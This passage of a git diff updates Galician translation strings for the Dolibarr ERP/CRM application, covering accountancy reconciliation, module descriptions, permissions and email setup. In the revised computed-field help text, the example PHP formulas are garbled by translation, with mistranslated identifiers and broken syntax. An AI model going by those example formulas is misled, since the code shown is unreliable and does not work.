IVE do terceiro ou cambiar a conta do produto suxerida se é preciso. ForbiddenTransactionAlreadyExported=Prohibido: a transacción foi validada e/ou exportada. ForbiddenTransactionAlreadyValidated=Prohibido: a transacción foi validada. ## Dictionary @@ -401,7 +416,11 @@ Calculated=Calculado Formula=Fórmula ## Reconcile +LetteringAuto=Reconciliación automática +LetteringManual=Manual de conciliación Unlettering=Voltar a non conciliado +UnletteringAuto=Auto desconciliar +UnletteringManual=Desconciliar manual AccountancyNoLetteringModified=Non se modificou ningunha conciliación AccountancyOneLetteringModifiedSuccessfully=Unha conciliación modificada con éxito AccountancyLetteringModifiedSuccessfully=%s conciliación modificada correctamente @@ -410,8 +429,9 @@ AccountancyOneUnletteringModifiedSuccessfully=Unha desconciliación modificouse AccountancyUnletteringModifiedSuccessfully=%s desconciliación modificada correctamente ## Confirm box -ConfirmMassUnlettering=Confirmación de desconciliación masiva -ConfirmMassUnletteringQuestion=Está certo de querer anular a conciliación dos rexistros seleccionados %s? +ConfirmMassUnletteringAuto=Confirmación masiva de desconciliación automática +ConfirmMassUnletteringManual=Confirmación masiva de desconciliación manual +ConfirmMassUnletteringQuestion=Esta certo de querer anular a conciliación do(s) rexistro(s) seleccionado(s) %s? ConfirmMassDeleteBookkeepingWriting=Confirmación borrado masivo ConfirmMassDeleteBookkeepingWritingQuestion=Isto eliminará a transacción da contabilidade (eliminaranse todas as liñas relacionadas coa mesma transacción) Está certo de querer eliminar o(s) rexistro(s) seleccionado(s) %s? @@ -431,6 +451,7 @@ AccountancyErrorMismatchLetterCode=Erro no código de conciliación AccountancyErrorMismatchBalanceAmount=O saldo (%s) non é igual a 0 AccountancyErrorLetteringBookkeeping=Producíronse erros nas transaccións: %s ErrorAccountNumberAlreadyExists=O número contable %s xa existe +ErrorArchiveAddFile=Non se pode poñer o ficheiro "%s" no arquivo ## Import ImportAccountingEntries=Entradas contables @@ -457,6 +478,7 @@ FECFormatMulticurrencyCode=Código multidivisa (Idivisa) DateExport=Data de exportación WarningReportNotReliable=Advertencia, este informe non está baseado no Libro Maior, polo que non contén modificacións manualmente realizadas no Libro Maior. Se o seu diario está actualizado, a vista contable é mais precisa. ExpenseReportJournal=Informe de gastos diario -InventoryJournal=Diario de inventario +DocsAlreadyExportedAreExcluded=Exclúense os documentos xa exportados +ClickToHideAlreadyExportedLines=Prema para ocultar as liñas xa exportadas NAccounts=%s contas diff --git a/htdocs/langs/gl_ES/admin.lang b/htdocs/langs/gl_ES/admin.lang index d57c2241252..0bcc53194c7 100644 --- a/htdocs/langs/gl_ES/admin.lang +++ b/htdocs/langs/gl_ES/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Colación de clientes WarningModuleNotActive=O módulo %s debe ser activado WarningOnlyPermissionOfActivatedModules=Atención, só os permisos relacionados cos módulos activados indícanse aquí. Pode activar os outros módulos na páxina Configuración->Módulos DolibarrSetup=Instalación/Actualización de Dolibarr -InternalUser=Usuario interno -ExternalUser=Usuario externo InternalUsers=Usuarios internos ExternalUsers=Usuarios externos UserInterface=Interface de usuario @@ -147,6 +145,7 @@ Box=Panel Boxes=Paneis MaxNbOfLinesForBoxes=Número máximo de liñas para paneis AllWidgetsWereEnabled=Todos os widgets dispoñibles están activados +WidgetAvailable=Panel dispoñible PositionByDefault=Posición por defecto Position=Posición MenusDesc=Os xestores de menús definen o contido das dúas barras de menú (horizontal e vertical) @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=Host SMTP/SMTPS (Valor por defecto en php.ini: %s) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=Porto SMTP/SMTPS (Non definido en PHP en sistemas de tipo Unix) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=Nome/ip servidor SMTP/SMTPS (Non definido en PHP en sistemas tipo Unix) MAIN_MAIL_EMAIL_FROM=Correo electrónico do remitente para correos electrónicos automáticos (valor predeterminado en php.ini: %s ) +EMailHelpMsgSPFDKIM=Para evitar que os correos electrónicos de Dolibarr sexan clasificados como spam, asegúrese de que o servidor estea autorizado para enviar correos electrónicos desde este enderezo mediante a configuración SPF e DKIM MAIN_MAIL_ERRORS_TO=Correo electrónico utilizado enviar os correos electrónicos con erros (campos "Errors-To" nos correos electrónicos enviados) MAIN_MAIL_AUTOCOPY_TO= Enviar a copia oculta (Bcc) de todos os correos electrónicos enviados a MAIN_DISABLE_ALL_MAILS=Deshabilitar todo o envío de correo electrónico (para fins de proba ou demostracións) @@ -375,7 +375,7 @@ DoTestSendHTML=Probar envío HTML ErrorCantUseRazIfNoYearInMask=Erro: non pode utilizar a opción @ para reiniciar o contador cada ano se a secuencia {yy} o {yyyy} non atópase na máscara. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Erro, non pode usar a opción @ se a secuencia {yy}{mm} o {yyyy}{mm} non atópase na máscara. UMask=Parámetro UMask de novos ficheiros en Unix/Linux/BSD. -UMaskExplanation=Este parámetro determina os dereitos dos ficheiros creados no servidor Dolibarr (durante a subida, por exemplo).
      Este debe ser o valor octal (por exemplo, 0666 significa leitura / escritura para todos).
      Este parámetro non ten ningún efecto sobre un servidor Windows. +UMaskExplanation=Este parámetro permítelle definir permisos por defecto dos ficheiros creados por Dolibarr no servidor (durante a carga, por exemplo).
      Este debe ser o valor octal (por exemplo, 0666 significa ler/escribir para todos). O valor recomendado é 0600 ou 0660
      Este parámetro non ten ningún efecto sobre un servidor Windows. SeeWikiForAllTeam=Vexa o wiki para mais detalles de todos os actores e da súa organización UseACacheDelay= Demora en caché da exportación en segundos (0 o vacio sen caché) DisableLinkToHelpCenter=Agocha a ligazón "Precisa axuda ou soporte" na páxina de inicio de sesión @@ -439,8 +439,10 @@ Unique=Único Boolean=Boolean (unha caixa de verificación) ExtrafieldPhone = Teléfono ExtrafieldPrice = Prezo +ExtrafieldPriceWithCurrency=Prezo con moeda ExtrafieldMail = Correo ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Listaxe de selección ExtrafieldSelectList = Listaxe dende unha taboa ExtrafieldSeparator=Separador (non é un campo) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Caixa de verificación ExtrafieldCheckBoxFromList=Caixa de verificación da táboa ExtrafieldLink=Vínculo a un obxecto ComputedFormula=Campo combinado -ComputedFormulaDesc=Pode introducir aquí unha fórmula utilizando outras propiedades de obxecto o calquera código PHP para obter un valor calculado dinámico. Pode utilizar calquera fórmula compatible con PHP, incluído o operador de condición "?" e os obxectos globais seguintes: $db, $conf, $langs, $mysoc, $user, $object.
      ATENCIÓN: Só algunhas propiedades de $object poden estar dispoñibles. Se precisa propiedades non cargadas, só procure o obxecto na súa fórmula como no segundo exemplo.
      Usar un campo computado significa que non pode ingresar ningún valor dende a interfaz. Tamén, se hai un error de sintaxe, e posible que a fórmula non devolva nada.

      Exemplo de fórmula:
      $object->id < 10 ? round($object->id / 2, 2) : ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Exemplo de recarga de obxecto
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetch($obj->id ? $obj->id : ($obj->rowid ? $obj->rowid : $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5 : '-1'

      Outro exemplo de fórmula para forzar a carga do obxecto e o seu obxecto principal:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetch($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetch($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref : 'Parent project not found' +ComputedFormulaDesc=Pode introducir aquí unha fórmula usando outras propiedades do obxecto ou calquera codigo PHP para obter un valor dinámico calculado. Pode usar calquera fórmula compatible con PHP, incluíndo o "?" operador de condición e o seguinte obxecto global: $db, $conf, $langs, $mysoc, $user, $objectoffield .
      AVISO : Se precisa propiedades dun obxecto que non está cargado, só ten que buscar o obxecto na súa fórmula como no segundo exemplo.
      Usar un campo calculado significa que non pode introducir ningún valor desde a interface. Ademais, se hai un erro de sintaxe, a fórmula pode non devolver nada.

      Exemplo de fórmula:
      $objectoffield->id < 10 ? round($objectoffield-> id / 2, 2): ($objectoffield->id + 2 * $user->ocid, *$(user->ocid,) )

      Exemplo para recargar o obxecto
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield-->id)options'extraloadedobj0 ? ->capital / 5: '-1')

      Outro exemplo de fórmula para forzar a carga do obxecto e do seu obxecto pai:
      (($reloadedobj = new Task($db)) && ($reloadedNoobj) ->id) > 0) && ($secondloadedobj = novo proxecto ($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Non se atopou o proxecto principal' Computedpersistent=Almacenar campo combinado ComputedpersistentDesc=Os campos adicionais calculados gardaranse na base de datos, con todo, o valor só se recalculará cando se cambie o obxecto deste campo. Se o campo calculado depende doutros obxectos ou datos globais, este valor pode ser incorrecto. ExtrafieldParamHelpPassword=Deixar este campo en branco significa que este valor gardarase sen cifrado (o campo estará oculto coa estrelas na pantalla).
      Estableza aquí o valor "auto" para usar a regra de cifrado predeterminada para gardar o contrasinal na base de datos (entón o valor lido será só o hash, non hai forma de recuperar o valor orixinal) @@ -471,7 +473,7 @@ KeepEmptyToUseDefault=Deixe baleiro este campo para usar o valor por defecto KeepThisEmptyInMostCases=En moitos casos, pode deixar este campo baleiro. DefaultLink=Ligazón por defecto SetAsDefault=Establecer por defecto -ValueOverwrittenByUserSetup=Atención: Este valor pode ser sobreescrito por un valor específico da configuración do usuario (cada usuario pode ter a súa propia url clicktodial) +ValueOverwrittenByUserSetup=Atención: Este valor pode ser sobrescrito por un valor específico da configuración do usuario (cada usuario pode ter a súa propia url clicktodial) ExternalModule=Módulo externo InstalledInto=Instalado no directory %s BarcodeInitForThirdparties=Inicio de código de barras masivo para terceiros @@ -501,7 +503,8 @@ WarningPHPMail=AVISO: a configuración para enviar correos electrónicos desde a WarningPHPMailA=- Usar o servidor do fornecedor de servizos de correo electrónico aumenta a confiabilidade do seu correo electrónico, polo que aumenta a entrega sen ser marcado como SPAM WarningPHPMailB=- Algúns provedores de servizos de correo electrónico (como Yahoo) non permiten enviar un correo electrónico desde outro servidor que o seu propio. A súa configuración actual usa o servidor da aplicación para enviar correo electrónico e non o servidor do seu fornecedor de correo electrónico, polo que algúns destinatarios (o compatible co protocolo DMARC restritivo) preguntarán ao seu fornecedor de correo electrónico se poden aceptar o seu correo electrónico e algúns provedores de correo electrónico. (como Yahoo) pode responder "non" porque o servidor non é seu, polo que poucos dos seus correos electrónicos enviados poden non ser aceptados para a súa entrega (teña coidado tamén coa cota de envío do seu fornecedor de correo electrónico). WarningPHPMailC=- Tamén é interesante usar o servidor SMTP do seu propio fornecedor de servizos de correo electrónico para enviar correos electrónicos, polo que todos os correos electrónicos enviados desde a aplicación tamén se gardarán no directorio "Enviado" da súa caixa de correo. -WarningPHPMailD=Porén, recoméndase cambiar o método de envío de correos electrónicos ao valor "SMTP". Se realmente desexa manter o método predeterminado "PHP" para enviar correos electrónicos, simplemente ignore este aviso ou elimíneo configurando a constante MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP en 1 en Inicio-Configuración-Outro. +WarningPHPMailD=Polo tanto, recoméndase cambiar o método de envío dos correos electrónicos co valor "SMTP". +WarningPHPMailDbis=Se realmente quere manter o método "PHP" predeterminado para enviar correos electrónicos, só ten que ignorar este aviso ou elimínao premendo %sprema aquí %s WarningPHPMail2=Se o seu fornecedorr SMTP de correo electrónico precisa restrinxir o cliente de correo electrónico a algúns enderezos IP (moi raro), este é o seu enderezo IP do seu axente de usuario de correo (MUA) da súa aplicación ERP CRM: %s. WarningPHPMailSPF=Se o nome de dominio do enderezo de correo electrónico do seu remitente está protexido por un rexistro SPF (pregúntarlle ao rexistrador do seu nome de dominio), se debe engadir as seguintes IP no rexistro SPF do DNS do seu dominio: %s ActualMailSPFRecordFound=Atopouse o rexistro SPF actual (para o correo electrónico %s): %s @@ -512,9 +515,9 @@ TheKeyIsTheNameOfHtmlField=Este é o nome do campo HTML. Son precisos coñecemen PageUrlForDefaultValues=Debe introducir aquí a URL relativa da páxina. Se inclúe parámetros na URL, os valores predeterminados serán efectivos se todos os parámetros están configurados co mesmo valor. PageUrlForDefaultValuesCreate=
      Exemplo:
      Para o formulario para crear un novo terceiro, é %s .
      Para a URL dos módulos externos instalados no directorio custom, non inclúa "custom/", use a ruta como mymodule/mypage.php e non custom/mymodule/mypage.php.
      Se desexa un valor predeterminado só se a url ten algún parámetro, pode usar %s PageUrlForDefaultValuesList=
      Exemplo:
      Para a páxina que lista terceiros, é %s.
      Para o URL de módulos externos instalados no directorio custom, non inclúa o "custom/" use un camiño como mymodule/mypagelist.php e non custom/mymodule/mypagelist.php.
      Se quere un valor predeterminado só se a URL ten algún parámetro, pode usar %s -AlsoDefaultValuesAreEffectiveForActionCreate=Teña conta tamén que sobreescribir os valores predeterminados para a creación de formularios só funciona para páxinas que foron deseñadas correctamente (polo tanto, co parámetro action = create ou presend ...) +AlsoDefaultValuesAreEffectiveForActionCreate=Teña conta tamén que sobrescribir os valores predeterminados para a creación de formularios só funciona para páxinas que foron deseñadas correctamente (polo tanto, co parámetro action = create ou presend ...) EnableDefaultValues=Activar a personalización dos valores predeterminados -EnableOverwriteTranslation=Activar o uso de traducións sobreescritas +EnableOverwriteTranslation=Permitir a personalización das traducións GoIntoTranslationMenuToChangeThis=Atopouse unha tradución para a clave con este código. Para cambiar este valor, debe editalo desde Inicio-Configuración-Tradución. WarningSettingSortOrder=Aviso, establecer unha orde de clasificación predeterminada pode producir un erro técnico ao entrar na páxina da listaxe se o campo é un campo descoñecido. Se experimentas tal erro, volte a esta páxina para eliminar a orde de clasificación predeterminada e restaurar o comportamento predeterminado.Field=Campo Field=Campo @@ -615,7 +618,7 @@ Module410Desc=Integración con Webcalendar Module500Name=Impostos e gastos especiais Module500Desc=Xestión doutros gastos (impostos sobre vendas, impostos sociais ou fiscais, dividendos, ...) Module510Name=Salarios -Module510Desc=Rexistro e seguemento do pagamento dos salarios aos seus empregados +Module510Desc=Rexistro e seguimento do pagamento dos salarios aos seus empregados Module520Name=Crédito Module520Desc=Xestión de créditos Module600Name=Notificacións en eventos de negocio @@ -642,7 +645,9 @@ Module2200Desc=Activar o uso de expresións matemáticas para auto xerar prezos Module2300Name=Tarefas programadas Module2300Desc=Xestión do traballo programado (alias cron ou chrono taboa) Module2400Name=Eventos/Axenda -Module2400Desc=Siga os eventos ou citas. Deixe que Dolibarr rexistre eventos automáticos co fin de realizar seguemento ou rexistre eventos manuais ou xuntanzas. Este é o módulo principal para unha bona xestión de relacións cos clientes ou provedores. +Module2400Desc=Siga os eventos ou citas. Deixe que Dolibarr rexistre eventos automáticos co fin de realizar seguimento ou rexistre eventos manuais ou xuntanzas. Este é o módulo principal para unha bona xestión de relacións cos clientes ou provedores. +Module2430Name=Sistema de calendario de reservas +Module2430Desc=Proporciona un calendario en liña para que calquera persoa poida reservar citas, segundo intervalos ou dispoñibilidades predefinidos. Module2500Name=GED / SGD Module2500Desc=Sistema de Xestión de Documentos / Xestión Electrónica de Contidos. Organización automática dos seus documentos xerados o almacenados. Compárta cando o precise. Module2600Name=API/Servizos web (servidor SOAP) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=Capacidades de conversión GeoIP Maxmind Module3200Name=Ficheiros inalterables Module3200Desc=Activar o rexistro inalterable de eventos empresarais. Os eventos arquívanse en tempo real. O rexistro é unha taboa de sucesos encadeados que poden lerse e exportar. Este módulo pode ser obrigatorio nalgúns países. +Module3300Name=Diseñador de módulos +Module3300Desc=Unha RAD (Desenvolvemento Rápido de Aplicacións: código baixo e sen código) ferramenta para axudar aos desenvolvedores ou usuarios avanzados a construír o seu propio módulo/aplicación. Module3400Name=Redes sociais Module3400Desc=Active os campos das redes sociais en terceiros e enderezos (skype, twitter, facebook, ...). Module4000Name=RRHH @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Engade funcións para xestionar Incoterms Module63000Name=Recursos Module63000Desc=Xestionar recursos (impresoras, automóbiles, salas, ...) pode asignalos a eventos -Permission11=Consultar facturas de cliente +Module66000Name=Activa a autenticación OAuth2 +Module66000Desc=Proporciona unha ferramenta para xerar e xestionar tokens OAuth2. O token pode ser usado por outros módulos. +Module94160Name=Recepcións +Permission11=Ler facturas a clientes (e pagamentos) Permission12=Crear/Modificar facturas de cliente Permission13=Invalidar facturas de cliente Permission14=Validar facturas de cliente @@ -842,9 +852,9 @@ Permission286=Exportar contactos Permission291=Consultar tarifas Permission292=Definir permisos sobre as tarifas Permission293=Modificar tarifas de clientes -Permission300=Consultar códigos de barras -Permission301=Crear/modificar códigos de barras -Permission302=Eliminar código de barras +Permission301=Xera follas PDF de códigos de barras +Permission304=Crear/modificar códigos de barras +Permission305=Eliminar código de barras Permission311=Consultar servizos Permission312=Asignar servizos/subscricións a un contrato Permission331=Consultar marcadores @@ -940,7 +950,7 @@ Permission1190=Aprobar (segunda aprobación) pedimentos a provedores Permission1191=Exportar pedimentos a provedores e os seus atributos Permission1201=Obter resultado dunha exportación Permission1202=Crear/codificar exportacións -Permission1231=Consultar facturas de provedores +Permission1231=Ler facturas de provedores (e paggamentos) Permission1232=Crear facturas de provedores Permission1233=Validar facturas de provedores Permission1234=Eliminar facturas de provedores @@ -971,13 +981,14 @@ Permission3301=Xerar novos módulos Permission4001=Ler competencia/traballo/posto Permission4002=Crear/modificar competencia/traballo/posto Permission4003=Eliminar competencia/traballo/posto -Permission4020=Ler avaliacións -Permission4021=Crea/modifica a súa avaliación -Permission4022=Validar avaliación -Permission4023=Eliminar avaliación -Permission4030=Ver menú comparativo +Permission4021=Ler avaliacións (a súa e a dos seus subordinados) +Permission4022=Crear/modificar avaliacións +Permission4023=Validar avaliación +Permission4025=Eliminar avaliación +Permission4028=Ver menú comparativo Permission4031=Ler información persoal Permission4032=Escribe información persoal +Permission4033=Ler todas as avaliacións (incluso as de usuarios non subordinados) Permission10001=Ler contido do sitio web Permission10002=Crear modificar contido do sitio web (contido html e javascript) Permission10003=Crear/modificar contido do sitio web (código php dinámico). Perigoso, ten que reservarse a desenvolvedores restrinxidos. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Tipo de disposición de bens TypeOfUnit=Tipo de unidade SetupSaved=Configuración gardada SetupNotSaved=Configuración non gardada +OAuthServiceConfirmDeleteTitle=Eliminar a entrada de OAuth +OAuthServiceConfirmDeleteMessage=Estás certo de querer eliminar esta entrada de OAuth? Tamén se eliminarán todos os tokens existentes. +ErrorInEntryDeletion=Erro na eliminación da entrada +EntryDeleted=Entrada eliminada BackToModuleList=Voltar á lista de módulos BackToDictionaryList=Voltar á lista de diccionarios TypeOfRevenueStamp=Tipos de selos fiscais @@ -1222,7 +1237,7 @@ SetupDescription4=%s -> %s

      Este software é unha colec SetupDescription5=Outras entradas do menú de configuración xestionan parámetros opcionais. SetupDescriptionLink=%s - %s SetupDescription3b=Parámetros básicos empregados para personalizar o comportamento predeterminado da súa aplicación (por exemplo, para funcións relacionadas co país). -SetupDescription4b=Este software é unha suite de moitos módulos/aplicacións. Os módulos relacionados coas súas necesidades deben ser habilitados e configurados. As entradas no menú aparecerán ao habilitar eses módulos. +SetupDescription4b=Este software é un conxunto de moitos módulos/aplicacións. Os módulos relacionados coas súas necesidade teñen que ser habilitados. As entradas do menú aparecerán ao habilitar eses módulos. AuditedSecurityEvents=Eventos de seguridade auditados NoSecurityEventsAreAduited=Non se auditan eventos de seguridade. Pode activalos no menu %s Audit=Eventos de seguridade @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Os parámetros de configuración poden ser tratados por usua SystemInfoDesc=A información do sistema é información técnica accesible en modo lectura para administradores exclusivamente. SystemAreaForAdminOnly=Esta área é accesible aos usuarios administradores exclusivamente. Os permisos dos usuarios de Dolibarr non permiten cambiar esta restricción. CompanyFundationDesc=Edite a información da súa empresa/entidade. Prema no botón "%s" a pé de páxina cando remate +MoreNetworksAvailableWithModule=Poden estar dispoñibles máis redes sociais activando o módulo "Redes sociais". AccountantDesc=Se ten un contable/auditor externo, pode editar aquí a súa información. AccountantFileNumber=Número de ficheiro DisplayDesc=Os parámetros que afectan ao aspecto e a presentación da aplicación pódense modificar aquí. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Triggers deste ficheiro activos posto que o módulo GeneratedPasswordDesc=Indique aquí que norma quere utilizar para xerar as contrasinais cando precise xerar un novo contrasinal DictionaryDesc=Inserte aquí os datos de referencia. Pode engadir os seus datos aos predefinidos. ConstDesc=Esta páxina permítelle editar (substituír) parámetros non dispoñibles noutras páxinas. Estes son principalmente parámetros reservados só para desenvolvedores ou solución avanzadas de problemas. +MiscellaneousOptions=Opcións varias MiscellaneousDesc=Todos os outros parámetros relacionados coa seguridad definense aquí. LimitsSetup=Configuración de límites e precisións LimitsDesc=Pode definir aquí os límites e precisións utilizados por Dolibarr @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Debe executar esta orde dende u YourPHPDoesNotHaveSSLSupport=Funcións SSL non dispoñibles no seu PHP DownloadMoreSkins=Mais temas para descargar SimpleNumRefModelDesc=Devolve o número de referencia no formato %s yymm-nnnn onde yy é o ano, mm é o mes e nnnn é un número secuencial de incremento automático sen restablecer +SimpleRefNumRefModelDesc=Devolve o número de referencia no formato n onde n é un número secuencial de incremento automático sen reinicio +AdvancedNumRefModelDesc=Devolve o número de referencia no formato %s yymm-nnnn onde yy é o ano, mm é o mes e nnnn é un número secuencial de incremento automático sen restablecer SimpleNumRefNoDateModelDesc=Devolve o número de referencia no formato %s-nnnn onde nnnn é un número con incremento automático secuencial sen restablecemento ShowProfIdInAddress=Amosar identificación profesional con enderezos ShowVATIntaInAddress=Ocultar o número de IVE intracomunitario @@ -1337,7 +1356,7 @@ PathDirectory=Directorio SendmailOptionMayHurtBuggedMTA=A función para enviar correos usando o método "PHP mail direct" xerará unha mensaxe de correo que algúns servidores de correo receptores poden non analizar correctamente. O resultado é que algúns correos non poden ser lidos por persoas aloxadas nesas plataformas. É o caso dalgúns fornecedores de Internet (por exemplo: Orange en Franza). Isto non é un problema con Dolibarr ou PHP senón co servidor de correo receptor. Porén, pode engadir unha opción MAIN_FIX_FOR_BUGGED_MTA a 1 en Configuración-Outro para modificar Dolibarr para evitar o erro. Porén, pode ter problemas con outros servidores que usan estritamente o estándar SMTP. A outra solución (recomendada) é empregar o método "SMTP socket library" que non ten desvantaxes. TranslationSetup=Configuración de tradución TranslationKeySearch=Buscar unha chave ou cadea de tradución -TranslationOverwriteKey=Sobreescribir una cadena traducida +TranslationOverwriteKey=Sobrescribir una cadena traducida TranslationDesc=Como configurar o idioma de visualización:
      * Por defecto Sistema: menu Inicio - Configuración - Entorno
      * Por usuario: prema no nome de usuario na parte superior da pantalla e modifique a pestana Configuración da visualización do usuario na tarxeta de usuario. TranslationOverwriteDesc=Tamén pode reemplazar cadeas enchendo a seguinte táboa. Escolla o seu idioma no menú despregable "%s", insira a cadea de clave de tradución en "%s" e a súa nova tradución en "%s" TranslationOverwriteDesc2=Podes usar a outra pestana para axudarche a saber que clave de tradución usar @@ -1380,7 +1399,7 @@ GetBarCode=Obter código de barras NumberingModules=Modelos de numeración DocumentModules=Modelos de documento ##### Module password generation -PasswordGenerationStandard=Volta un contrasinal xerado segundo o algoritmo interno de Dolibarr:%s caracteres, que conteñen números e caracteres en minúsculas mesturados. +PasswordGenerationStandard=Devolve un contrasinal xerado segundo o algoritmo interno de Dolibarr: %s caracteres que conteñen números e caracteres compartidos. PasswordGenerationNone=Non suxerir ningún contrasinal xerada. O contrasinal debe ser escrito manualmente. PasswordGenerationPerso=Volta un contrasinal segundo a configuración definida. SetupPerso=Segundo a túa configuración @@ -1434,6 +1453,10 @@ SuppliersPayment=Pagamentos a provedores SupplierPaymentSetup=Configuración de pagamentos a provedores InvoiceCheckPosteriorDate=Comprobar a data de fabricación antes da validación InvoiceCheckPosteriorDateHelp=Queda prohibida a validación dunha factura se a súa data é anterior á data da última factura do mesmo tipo. +InvoiceOptionCategoryOfOperations=Mostrar a mención "categoría de operacións" na factura. +InvoiceOptionCategoryOfOperationsHelp=Segundo a situación, a mención figurará na forma:
      - Categoría de operacións: Entrega de produtos
      - Categoría de operacións: Prestación de servizos
      - Categoría de operacións: Mixta - Entrega de produtos & Prestación de servizos +InvoiceOptionCategoryOfOperationsYes1=Si, debaixo do bloque de enderezos +InvoiceOptionCategoryOfOperationsYes2=Si, na esquina inferior esquerda ##### Proposals ##### PropalSetup=Configuración do módulo Orzamentos ProposalsNumberingModules=Módulos de numeración de orzamentos @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Marca de auga en contratos (o caso de estar baleir ##### Members ##### MembersSetup=Configuración do módulo Asociacións MemberMainOptions=Opcións principais +MemberCodeChecker=Opcións para a xeración automática de códigos de membros AdherentLoginRequired= Xestionar un login para cada membro AdherentMailRequired=E-Mail obrigatorio para crear un membro novo MemberSendInformationByMailByDefault=Caixa de verificación para enviar o correo de confirmación (validación ou nova cotización) aos membros é por defecto "sí" MemberCreateAnExternalUserForSubscriptionValidated=Crea un inicio de sesión de usuario externo para cada nova subscrición de membro validada -VisitorCanChooseItsPaymentMode=O visitante pode escoller entre os modos de pagamento dispoñibles +VisitorCanChooseItsPaymentMode=O visitante pode escoller entre os modos de pago dispoñibles MEMBER_REMINDER_EMAIL=Habilitar recordatorio de eventos por e-mail de suscripcións expiradas. Nota: O módulo %s debe estar habilitado e configurado correctamente para que o recordatorio sexa enviado. MembersDocModules=Modelos de documentos para documentos xerados a partir do rexistro de membros ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Activar editor avanzado para : FCKeditorForNotePublic=WYSIWYG creación/edición do campo "notas públicas" de elementos FCKeditorForNotePrivate=WYSIWYG creación/edición do campo notas privadas de elementos FCKeditorForCompany=WYSIWYG creación/edición da descrición do campo de elementos (excepto produtos/servizos) -FCKeditorForProduct=WYSIWYG creación/edición da descrición do campo de produtos/servizos -FCKeditorForProductDetails=Creación/edición WYSIWIG das liñas de detalle dos produtos (pedimentos, orzamentos, facturas, etc.). Atención: O uso desta opción non é recomendable xa que pode crear problemas cos caracteres especiais e o formateo de páxina ao xerar ficheiros PDF. +FCKeditorForProductDetails= Creación/edición WYSIWIG de descrición de produtos ou liñas para obxectos (liñas de orzamentos, pedimentos, facturas, etc...). +FCKeditorForProductDetails2=Aviso: non se recomenda usar esta opción para este caso porque pode crear problemas con caracteres especiais e formato de páxina ao crear ficheiros PDF. FCKeditorForMailing= Creación/edición WYSIWIG dos E-Mails (Utilidades->E-Mailings) FCKeditorForUserSignature=Creación/edición WYSIWIG da sinatura de usuarios FCKeditorForMail=Creación/edición WYSIWIG de todos os e-mails ( excepto Utilidades->E-Mailings) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Controlador de menús onde amosar o novo menú DetailMenuModule=Nome do módulo se a entrada do menú provén dun módulo DetailType=Tipo de menú (arriba ou á esquerda) DetailTitre=Etiqueta de menú ou código de etiqueta para a tradución -DetailUrl=URL onde o menú o envía (ligazón URL absoluta ou ligazón externa con http: //) +DetailUrl=URL onde envía o menú (ligazón URL relativa ou ligazón externa con https://) DetailEnabled=Condición para amosar ou non a entrada DetailRight=Condición para amosar menús grises non autorizados DetailLangs=Nome do ficheiro Lang para a tradución de código de etiqueta @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Usar tipos de eventos (xestionados no menú Configuración AGENDA_USE_EVENT_TYPE_DEFAULT=Definir automaticamente este valor predeterminado para o tipo de evento no formulario de creación de eventos AGENDA_DEFAULT_FILTER_TYPE=Establecer automaticamente este tipo de eventos no filtro de busca da vista de axenda AGENDA_DEFAULT_FILTER_STATUS=Establecer automaticamente este estado para eventos no filtro de busca da vista de axenda +AGENDA_EVENT_PAST_COLOR=Cor do evento pasado +AGENDA_EVENT_CURRENT_COLOR=Cor do evento actual +AGENDA_EVENT_FUTURE_COLOR=Cor do evento futuro AGENDA_DEFAULT_VIEW=Cal vista desexa abrir de xeito predeterminado ao seleccionar o menú Axenda AGENDA_REMINDER_BROWSER=Activar a lembranza de eventos no navegador do usuario (Cando se alcanza a data de lembranza, o navegador amosa unha ventá emerxente. Cada usuario pode desactivar estas notificacións desde a configuración de notificacións do navegador). AGENDA_REMINDER_BROWSER_SOUND=Activar a notificación de son @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=A diminución de stock no TPV non é CashDeskYouDidNotDisableStockDecease=Non desactivou a diminución de stock ao facer unha venda desde o punto de venda. Por iso é preciso un almacén. CashDeskForceDecreaseStockLabel=Forzouse a diminución do stock de produtos por lotes CashDeskForceDecreaseStockDesc=Diminuír primeiro polas datas máis antigas para comer por e vender por. -CashDeskReaderKeyCodeForEnter=Código clave para "Enter" definido no lector de códigos de barras. (Exemplo:13) +CashDeskReaderKeyCodeForEnter=Código ASCII clave para "Enter" definido no lector de código de barras (Exemplo: 13) ##### Bookmark ##### BookmarkSetup=Configuración do módulo de marcador BookmarkDesc=Este módulo permítelle xestionar marcadores. Tamén pode engadir atallos a calquera páxina de Dolibarr ou sitios web externos no menú esquerdo. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Modelos de numeración de facturas de provedor IfSetToYesDontForgetPermission=Se está seleccionado, non esqueza modificar os permisos nos grupos ou usuarios para permitir a segunda aprobación ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Configuración do módulo GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Ruta ao ficheiro que contén IP Maxmind á tradución do país.
